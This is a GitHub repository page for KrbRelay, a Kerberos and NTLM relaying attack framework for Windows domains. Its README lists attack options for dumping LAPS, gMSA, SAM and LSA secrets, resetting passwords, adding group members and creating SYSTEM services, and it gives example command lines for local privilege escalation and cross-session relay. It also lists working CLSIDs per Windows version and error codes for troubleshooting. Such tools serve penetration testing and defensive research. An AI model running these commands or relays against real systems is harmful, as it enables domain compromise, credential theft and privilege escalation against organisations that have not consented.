Product Solutions Resources Open Source Enterprise Pricing Sign in Sign up

cube0x0 / KrbRelay Public Notifications Fork 121 Star 865

Code Issues 5 Pull requests 1 Actions Projects Security Insights

main Go to file Code

cube0x0 Update README.md 0c17013 · 2 years ago 14 Commits

.vs	added ntlm cross session	2 years ago
CheckPort	added ntlm cross session	2 years ago
Images	init	2 years ago
KrbRelay	added ntlm cross session	2 years ago
packages	init	2 years ago
KrbRelay.sln	init	2 years ago
README.md	Update README.md	2 years ago

README

KrbRelay

Relaying 3-headed dogs. More details at https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.html and https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html

This should be working on most fully patched Windows systems. There may be difficulties with Server OS in lab environments because of the firewall blocking the OXID resolver however, this will most likely not be an issue during real life engagements, same goes for CLSIDs.

```
KrbRelay by @Cube0x0
The Relaying Kerberos Framework

Usage: KrbRelay.exe -spn <SPN> [OPTIONS] [ATTACK]
LDAP attacks:
-console                          Interactive LDAP console
-rbcd <SID> <OPTIONAL TARGET>     Configure RBCD for a given SID (default target localhost)
-shadowcred <OPTIONAL TARGET>     Configure msDS-KeyCredentialLink (default target localhost)
-laps <OPTIONAL TARGET>           Dump LAPS passwords
-gMSA <OPTIONAL TARGET>           Dump gMSA passwords
-add-groupmember <GROUP> <USER>  Add user to group
-reset-password  <USER> <PASS>   Reset domain user password

SMB attacks:
-console                          Interactive SMB console
-list                             List SMB shares
-add-privileges <SID>             Add privileges for a given SID
-secrets                          Dump SAM & LSA secrets
-service-add <NAME> <COMMAND>     Create SYSTEM service

HTTP attacks:
-endpoint <ENDPOINT>              Example; 'EWS/Exchange.asmx'
-proxy                            Start a HTTP proxy server against target
-ews-delegate <USER@DOMAIN>       EWS delegate mailbox
-ews-search <KEYWORD,KEYWORD2>    Search inbox for keywords

Options:
-ssl                      Use SSL transport
-spn                      ServicePrincipalName for target service
-clsid                    Service to be executed in
-session                  ID for cross-session marshalling
-port                     COM listener port
```

Supported Protocols and Features

About

Framework for Kerberos relaying

Readme
Activity
865 stars
16 watching
121 forks
Report repository

Releases

No releases published

Packages

No packages published

Languages

C# 100.0%

Some protocols are more completed than others, PR's are welcomed.

- LLMNR
- LDAP/LDAPS
- HTTP
  - EWS
- SMBv2
- RPC over SMB
  - MS-SAMR
  - MS-SCMR
  - MS-RPRN
  - MS-RRP
  - MS-LSAT/MS-LSAD

Examples

```
# LPE
.\KrbRelay.exe -spn ldap/dc01.htb.local -clsid 90f18417-f0f1-484e-9d
.\KrbRelay.exe -spn ldap/dc01.htb.local -clsid 90f18417-f0f1-484e-9d

# Cross-Session LDAP
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5
.\KrbRelay.exe -spn ldap/dc01.htb.local -session 2 -clsid 354ff91b-5
.\KrbRelay.exe -spn ldap/dc02.htb.local -session 2 -clsid 354ff91b-5
.\KrbRelay.exe -spn ldap/dc02.htb.local -session 2 -clsid 354ff91b-5

# Cross-Session HTTP
.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.a
.\KrbRelay.exe -spn http/exchange.htb.local -endpoint EWS/Exchange.a
.\KrbRelay.exe -spn http/win2016.htb.local -endpoint iisstart.htm -p

# Cross-Session SMB
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91
.\KrbRelay.exe -spn cifs/win2016.htb.local -session 2 -clsid 354ff91

# LLMNR
.\KrbRelay.exe -llmnr -spn 'cifs/win2019.htb.local' -secrets

# NTLM (see https://github.com/antonioCoco/RemotePotato0 for CLSIDs)
.\KrbRelay.exe -session 1 -clsid 0ea79562-d4f6-47ba-b7f2-1e9b06ba16a
.\KrbRelay.exe -session 1 -clsid 0ea79562-d4f6-47ba-b7f2-1e9b06ba16a
```

`CheckPort.exe` is a C# tool that can be used to discover available ports for the OXID resolver.

```
C:\Users\domain_user\Desktop\KrbRelay\CheckPort\bin\Release\CheckPor
[*] Looking for available ports..
[*] Port: 1024 is available
```

CLSIDs

We'll need to unmarshal our OBJREF inside of a process that would allow authentications over the network, this can be verified by looking at the `Impersonation Level`

- RPC_C_IMP_LEVEL_DEFAULT # Will not work

- RPC_C_IMP_LEVEL_ANONYMOUS # Will not work
- RPC_C_IMP_LEVEL_IDENTIFY # Works for LDAP
- RPC_C_IMP_LEVEL_IMPERSONATE # Required for SMB
- RPC_C_IMP_LEVEL_DELEGATE

When relaying to LDAP or any other service that has signing enabled but not enforced we would also need to verify that the `Authentication Level` of the process is set to `RPC_C_AUTHN_LEVEL_CONNECT`.

Processes running under `NT Authority\Network service` will use the SYSTEM account when authenticating over the network.

Tool for discovering CLSIDs: https://github.com/tyranid/oleviewdotnet

```
Import-Module .\OleViewDotNet.psd1
Get-ComDatabase -SetCurrent
$comdb = Get-CurrentComDatabase
$clsids = (Get-ComClass).clsid
Get-ComProcess -DbgHelpPath 'C:\Program Files (x86)\Windows Kits\10\I
```

Windows 10 1903

```
# SYSTEM Relay
0bae55fc-479f-45c2-972e-e951be72c0c1 # RPC_C_IMP_LEVEL_IDENTIFY
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE

# Cross-Session Relay
0289a7c5-91bf-4547-81ae-fec91a89dec5 # RPC_C_IMP_LEVEL_IMPERSONATE
1f87137d-0e7c-44d5-8c73-4effb68962f2 # RPC_C_IMP_LEVEL_IMPERSONATE
73e709ea-5d93-4b2e-bbb0-99b7938da9e4 # RPC_C_IMP_LEVEL_IMPERSONATE
9678f47f-2435-475c-b24a-4606f8161c16 # RPC_C_IMP_LEVEL_IMPERSONATE
9acf41ed-d457-4cc1-941b-ab02c26e4686 # RPC_C_IMP_LEVEL_IMPERSONATE
ce0e0be8-cf56-4577-9577-34cc96ac087c # RPC_C_IMP_LEVEL_IMPERSONATE
```

Server 2019

```
# SYSTEM Relay
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE

# Cross-Session Relay
354ff91b-5e49-4bdc-a8e6-1cb6c6877182 # RPC_C_IMP_LEVEL_IMPERSONATE
38e441fb-3d16-422f-8750-b2dacec5cefc # RPC_C_IMP_LEVEL_IMPERSONATE
f8842f8e-dafe-4b37-9d38-4e0714a61149 # RPC_C_IMP_LEVEL_IMPERSONATE
```

Server 2016

```
# SYSTEM Relay
90f18417-f0f1-484e-9d3c-59dceee5dbd8 # RPC_C_IMP_LEVEL_IMPERSONATE

# Cross-Session Relay
0289a7c5-91bf-4547-81ae-fec91a89dec5 # RPC_C_IMP_LEVEL_IMPERSONATE
1f87137d-0e7c-44d5-8c73-4effb68962f2 # RPC_C_IMP_LEVEL_IMPERSONATE
5f7f3f7b-1177-4d4b-b1db-bc6f671b8f25 # RPC_C_IMP_LEVEL_IMPERSONATE
73e709ea-5d93-4b2e-bbb0-99b7938da9e4 # RPC_C_IMP_LEVEL_IMPERSONATE
9678f47f-2435-475c-b24a-4606f8161c16 # RPC_C_IMP_LEVEL_IMPERSONATE
98068995-54d2-4136-9bc9-6dbcb0a4683f # RPC_C_IMP_LEVEL_IMPERSONATE
9acf41ed-d457-4cc1-941b-ab02c26e4686 # RPC_C_IMP_LEVEL_IMPERSONATE
bdb57ff2-79b9-4205-9447-f5fe85f37312 # RPC_C_IMP_LEVEL_IMPERSONATE
ce0e0be8-cf56-4577-9577-34cc96ac087c # RPC_C_IMP_LEVEL_IMPERSONATE
```

Error codes

Doesn't work the first time? try again then check these error codes, and if you are going to open an Issue, please paste the full output and input.

Firewall blocking the OXID resolver

```
System.Runtime.InteropServices.COMException (0x800706BA): The RPC se
```

Bad CLSID

```
System.Runtime.InteropServices.COMException (0x80080004): Bad path t
```

or

```
System.Runtime.InteropServices.COMException (0x80070422): The servic
```

Kerberos Issues (Authentication type not recognized), Will work after reboot/clock sync

```
System.Runtime.InteropServices.COMException (0x800706D3): The authen
```

A valid apReq starts with 0x60, check your environment and parameters

```
[*] apReq: 05000b0710000000db003300020<SNIP>
```

CLSID impersonation level or authentication level too low

```
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
System.UnauthorizedAccessException: Access is denied.

Access is denied.
```

Acknowledgements

- Vletoux for starting RPCForSMBLibrary
- James Forshaw for introducing Kerberos relaying and NtApiDotNet
- TalAloni for SMBLibrary
- MichaelGrafnetter for DSInternals
- Kevin Robertson for Inveigh
- decoder_it and splinter_code for RemotePotato0

© 2024 GitHub, Inc. Terms Privacy Security Status Docs Contact Manage cookies Do not share my personal information